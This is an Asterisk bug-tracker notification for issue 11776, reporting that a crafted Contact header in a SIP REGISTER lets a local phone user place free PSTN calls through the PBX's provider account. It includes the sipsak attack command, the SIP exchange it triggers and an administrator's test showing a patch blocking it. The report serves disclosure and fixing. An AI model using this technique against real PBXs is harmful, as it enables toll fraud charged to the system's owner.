[asterisk-bugs] [Asterisk 0011776]: [authenticaion] in sip.conf: A malicius "Contact" header in REGISTER can get free calls through SIP provider

Wed Aug 27 10:08:24 CDT 2008

A NOTE has been added to this issue. 
====================================================================== 
http://bugs.digium.com/view.php?id=11776 
====================================================================== 
Reported By:                ibc
Assigned To:                blitzrage
====================================================================== 
Project:                    Asterisk
Issue ID:                   11776
Category:                   Channels/chan_sip/Registration
Reproducibility:            always
Severity:                   minor
Priority:                   normal
Status:                     ready for testing
Asterisk Version:           1.4.17 
SVN Branch (only for SVN checkouts, not tarball releases): N/A 
SVN Revision (number only!):  
Disclaimer on File?:        N/A 
Request Review:              
====================================================================== 
Date Submitted:             2008-01-16 05:57 CST
Last Modified:              2008-08-27 10:08 CDT
====================================================================== 
Summary:                    [authenticaion] in sip.conf: A malicius "Contact"
header in REGISTER can get free calls through SIP provider
Description: 
Hi, a malicius "Contact" header can be very damaged as I explain in the
following example:

Suppose our Asterisk has configured a SIP provider "sip_provider" with
"realm=sip_provider.com" and a SIP local phone "2001" who is not allowed to
do calls through "sip_provider":

sip.conf:
------------------------------------------
[authentication]
auth = client_number:client_password at sip_provider.com

[sip_provider]
type = peer
host = sip_provider.com

[2001] ; local phone
type = friend
secret = 1234
context = from_phone
------------------------------------------

extensions.conf:
------------------------------------------
[from_phone]
; Just allow to do test calls
exten => 500,1,Echo
exten => 501,1,PlayBack(demo-congrats)
exten => _200X,1,Dial(SIP/${EXTEN}) ; call to himself and other local
phones
------------------------------------------

Note that for the "sip_provider", instead of using "secret" and "username"
in the peer definition we have defined an "auth" in [autheticacion]
section. AFAIK this is perfectly valid.

Note too that "phone" is just allowed to call 500, 501 and 200X (so
calling to 2001 he would call himself).

Now because the owner of 2001 phone is angry he decides to hack the
enterprise PBX by doing it:

  sipsak -U -C "sip:0034999000111 at sip_provider.com:5060" -a "1234" -s
sip:2001 at asterisk_ip

This will cause a malicious registration in Asterisk for the AoR
"sip:2001 at asterisk_ip".

Now this person calls to himself by calling to 2001 extension:

- Asterisk then by the execution of dialplan will do:
    Dial(SIP/2001)

- This will cause an INVITE to the sip_provider and replies like:

* asterisk_ip -> sip_provider.com
INVITE sip:0034999000111 at sip_provider.com:5060 SIP/2.0
From: "asterisk" <sip:asterisk at asterisk_ip>
To: <sip:0034999000111 at sip_provider.com:5060>

* sip_provider.com -> asterisk_ip
SIP/2.0 407 Proxy Authentication Required
Proxy-Authenticate: Digest algorithm=MD5, realm="sip_provider.com",
nonce="1748d3"

* asterisk_ip -> sip_provider.com
INVITE sip:0034999000111 at sip_provider.com:5060 SIP/2.0
From: "asterisk" <sip:asterisk at asterisk_ip>
To: <sip:0034999000111 at sip_provider.com:5060>
Proxy-Authorization: Digest username="client_number",
realm="sip_provider.com", algorithm=MD5,
uri="sip:0034999000111 at sip_provider.com:5060", nonce="1748d3",
response="70d491d8998a961dc"

* sip_provider.com -> asterisk_ip
183 Session Progress

ooohhhhhh !!!

So the malicious user has made a PSTN call by free!
====================================================================== 

---------------------------------------------------------------------- 
 (0091794) blitzrage (administrator) - 2008-08-27 10:08
 http://bugs.digium.com/view.php?id=11776#c91794 
---------------------------------------------------------------------- 
OK, this is looking good so far, will try a couple more tests and see if I
can break it and get around it, but as far as I can tell, this patch is
ready to go in.

*CLI> [Aug 27 07:15:05] WARNING[17040]: chan_sip.c:8260
parse_register_contact: Host '192.168.128.106' disallowed by rule
[Aug 27 07:15:05] WARNING[17040]: chan_sip.c:8784 register_verify: Failed
to parse contact info

[root at localhost ~]# sipsak -E UDP -U -C "sip:11776 at 192.168.128.106:5060"
-a "1234" -s sip:2001 at 192.168.128.113
received:
SIP/2.0 400 Bad Request
Via: SIP/2.0/UDP
127.0.0.1:32778;branch=z9hG4bK.03cd3d33;alias;received=192.168.128.113;rport=32778
From: sip:2001 at 192.168.128.113;tag=7431c7ed
To: sip:2001 at 192.168.128.113;tag=as34af6227
Call-ID: 1949419501 at 127.0.0.1
CSeq: 2 REGISTER
User-Agent: Asterisk PBX
Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY
Supported: replaces
Date: Wed, 27 Aug 2008 11:15:05 GMT
Content-Length: 0

error: didn't received '200 OK' on register (see above). aborting

sip.conf
~~~~~~~~
[general]
dynamic_exclude_static=yes
contactdeny=0.0.0.0/0.0.0.0
contactpermit=192.168.128.113/255.255.255.255 

Issue History 
Date Modified    Username       Field                    Change               
====================================================================== 
2008-08-27 10:08 blitzrage      Note Added: 0091794                          
======================================================================